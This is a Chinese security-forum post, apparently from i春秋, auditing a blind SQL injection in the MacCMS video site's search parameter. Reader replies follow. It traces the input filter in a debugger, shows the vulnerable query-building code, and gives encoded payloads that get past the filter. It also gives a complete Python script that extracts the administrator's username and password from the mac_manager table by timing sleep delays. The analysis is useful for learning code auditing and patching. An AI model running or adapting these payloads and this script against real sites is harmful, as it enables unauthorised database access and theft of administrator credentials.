用户
搜索
  • TA的每日心情
    奋斗
    昨天 08:03
  • 签到天数: 120 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    30

    主题

    103

    帖子

    1054

    魔法币
    收听
    0
    粉丝
    13
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-8-26 16:25:35 128222

    0x01 前言

    已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。

    0x02 环境

    Web: phpstudy
    System: Windows 10 X64
    Browser: Firefox Quantum
    Python version : 2.7
    Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代码审计工具

    搭建这个程序也挺简单的,也是一步到位。

    0x03 漏洞复现

    1. 首先在程序的后台添加一条数据
    2. 执行我们的payload,可以看到网站跳转延迟了3s以上。
      url:http://sb.com/index.php?m=vod-search
      post:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63

    1. 因为是盲注所以注入出管理员的账号密码在下文分析。

    0x04 SQL执行过程分析

    1. 先弄清楚sql是如何执行的一个过程,然后再去分析怎么会造成SQL注入的一个过程,这样对学习代码审计也是一个好处。
      因为是动态分析,不会的安装调试环境的请到这篇文章按步骤完成安装https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/
    2. phpstorm打开这个选项,意思就是断在当前脚本文件的第一行,我就不下断点了,跟着它执行的过程走一遍。
    3. 我们先随便输入一点数据

      访问后会断在index.php的第一行
    4. F8往下走,走到第14行F7跟进去。

      然后F8一直往下走,可以看到拦截的规则

      走到POST的过滤这里F7进去

      arr_foreach函数检查传过来的值是否是数组,不是数组就返回原数据,然后用urldecode函数URL解码。

      最后分别对传过来的wdtest两个值进行匹配,如果存在拦截规则里面的字符就跳转到错误信息。

      比如你输入wd=/**/就会被拦截

      因为/**/存在拦截的正则表达式里面。
    5. 走出来会到$m = be('get','m');这里,这里只是对m传过来的vod-search进行addslashes函数的过滤
    6. 我怕文章过长,一些不必要的代码自己去细读一遍就行了,F8一直往下周,走到37行F7进去,因为我们传过来的的参数是vod,所以会包含vod.php文件并执行。
    7. 因为我们传参是search所以会走到这里,我们可以F7进去看执行的过程。

      在这里会经过urldecode函数的解码,一直循环到不能解码为止,然后经过刚才的StopAttack方法的过滤

      最后到htmlEncode方法的替换
    8. 跳出到vod.php文件后F8走到这里,F7进去看SQL执行的过程。

      一直走到markname的值是vod

      然后不用管F8继续往下走,走到这里再F7进去

      可以看到SQL执行是到这里,下面是执行的语句
      SELECT count(*) FROM {pre}vod WHERE 1=1  AND d_hide=0 AND d_type>0  and d_type not in(0) and d_usergroup in(0)  AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )

      0x05 漏洞分析

    上面分析了SQL执行过程,下面分析这个是如何构成SQL注入的。

    1. 刚才这里跳过了,文件位置:inc/common/template.php,可以看到传过来的P["wd"]值赋值给了$lp['wd']
    2. 再往下看753~755行,可以看到我们的值是放在这里面,然后送去GetOne执行的。
      if (!empty($lp['wd'])){
                      $where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';
                  }
    3. 构造的语句,只有中间才是执行的语句,前一句是为了闭合单引号,后面是注释。如果这里不清楚的可以用MySQL监控的软件去一步一步弄清楚。
      SELECT count(*) FROM mac_vod WHERE 1=1  AND d_hide=0 AND d_type>0  and d_type not in(0) and d_usergroup in(0)  AND
      ( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,'))
      ||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)
      #\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )

    4. 但是如果直接放语句上去会被检测到危险字符

      它主要对我们这里的空格连接处匹配到了

      那么我们可以用别名as     ‘ ‘去代替,也可以省略as直接用   ‘ ‘,别名的用法在文章尾部的参考有给出。
    5. 我们再执行,用Seay的代码审计工具的Mysql监控软件查看,我们的空格和后面的\被转义了。

      还记得我们chkSql方法吗?先是执行urldecode解码,然后StopAttack匹配,最后htmlEncode编码,最后Be方法那里 还有一个addslashes函数过滤,所以会导致后面的\转义成\\htmlEncode又会对前面的空格转义成 
      function chkSql($s)
      {
      global $getfilter;
      if(empty($s)){
          return "";
      }
      $d=$s;
      while(true){
          $s = urldecode($d);
          if($s==$d){
              break;
          }
          $d = $s;
      }
      StopAttack(1,$s,$getfilter);
      return htmlEncode($s);
      }

    6. 这里我们可以利用URL编码绕过htmlEncode,具体可以看HTML URL编码表%0c %0b等都可以,后面的\可以用URL编码绕过%5c或者双编码%25%35%63
    7. 那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度
      wd=))||if((select%0cascii(length((select(m_name)from(mac_manager))))=53),(sleep(3)),0)#%5c``

    0x06 编写盲注脚本

    当然盲注一般都不会手动去,SQLMAP有时候遇到特殊的也是要自己编写注入的脚本,具体代码的意思我就不解读了,自己可以结合Python和MySQL的知识理解。

    #! /usr/bin/python
    # -*- coding:utf-8 -*-
    #author:F0rmat
    import requests
    import time
    dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?"
    UserName=''
    UserPass=''
    UserName_length=0
    url='http://sb.com/'
    url = url + r'/index.php?m=vod-search'
    def main():
        global UserName
        global url
        for i in range(30):
            startTime = time.time()
            sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(
                ord(str(i)))
            data = {'wd': sql}
            response = requests.post(url, data=data)  # 发送请求
            if time.time() - startTime > 3:
                UserName_length = i
                print UserName_length
                break
        for num in range(1, UserName_length + 1):
            for i in dict:  # 遍历取出字符
                startTime = time.time()
                sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
                    str(num), ord(i))
                data = {'wd': sql}
                response = requests.post(url, data=data)  # 发送请求
                print data
                if time.time() - startTime > 3:
                    UserName += i
                    break
        global UserPass
        for num in range(32):
            for i in dict:  # 遍历取出字符
                startTime = time.time()
                sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
                    str(num), ord(i))
                data = {'wd': sql}
                response = requests.post(url, data=data)  # 发送请求
                print data
                if time.time() - startTime > 3:
                    UserPass += i
                    break
        print 'username:'+UserName,'password:'+UserPass
    if __name__ == '__main__':
        main()

    0x07 总结

    有时候学习代码审计,不能因为部分的代码没能读懂就不去理会,其实你读的代码越多,做代码审计也越轻松。

    0x08 参考

    程序下载:https://www.lanzous.com/i1qm24f
    http://www.freebuf.com/column/161528.html
    http://www.mysqltutorial.org/mysql-alias/
    http://www.w3school.com.cn/tags/html_ref_urlencode.html
    https://github.com/F0r3at/Python-Tools/blob/master/maccms_sql.py

    本帖被以下淘专辑推荐:

    getpass.cn
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-27 12:36:33
    牛逼牛逼!
    使用道具 举报 回复
    发表于 2018-8-28 11:02:24

    学习一下~
    使用道具 举报 回复
    发表于 2018-8-28 15:48:17
    76666666666666666666666666
    q 36222404 一起嗨啊
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-28 20:35:42

    学习一下~
    使用道具 举报 回复
    发表于 2018-8-30 11:02:55
    这套系统好像过滤了( )这两个括号吧?
    使用道具 举报 回复
    发表于 2018-8-30 11:18:56
    你这个exp 应该不行吧?还是说版本不一样?
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    10#
    发表于 2018-8-31 13:34:13
    吾非 发表于 2018-8-30 03:18
    你这个exp 应该不行吧?还是说版本不一样?

    程序下载:https://www.lanzous.com/i1qm24f
    对应的版本,最新版已经修复了
    getpass.cn
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    11#
    发表于 2018-8-31 13:34:50
    吾非 发表于 2018-8-30 03:02
    这套系统好像过滤了( )这两个括号吧?

    payload对应程序下载:https://www.lanzous.com/i1qm24f

    最新版已经修复了(),不能进行子查询
    getpass.cn
    使用道具 举报 回复
    发表于 2018-9-3 16:13:56
    F0rmat 发表于 2018-8-31 13:34
    payload对应程序下载:https://www.lanzous.com/i1qm24f

    最新版已经修复了(),不能进行子查询

    估计你这个版本比较老了额。。。我年初就审计过,最后死在括号上了。。。请问能绕过吗?
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册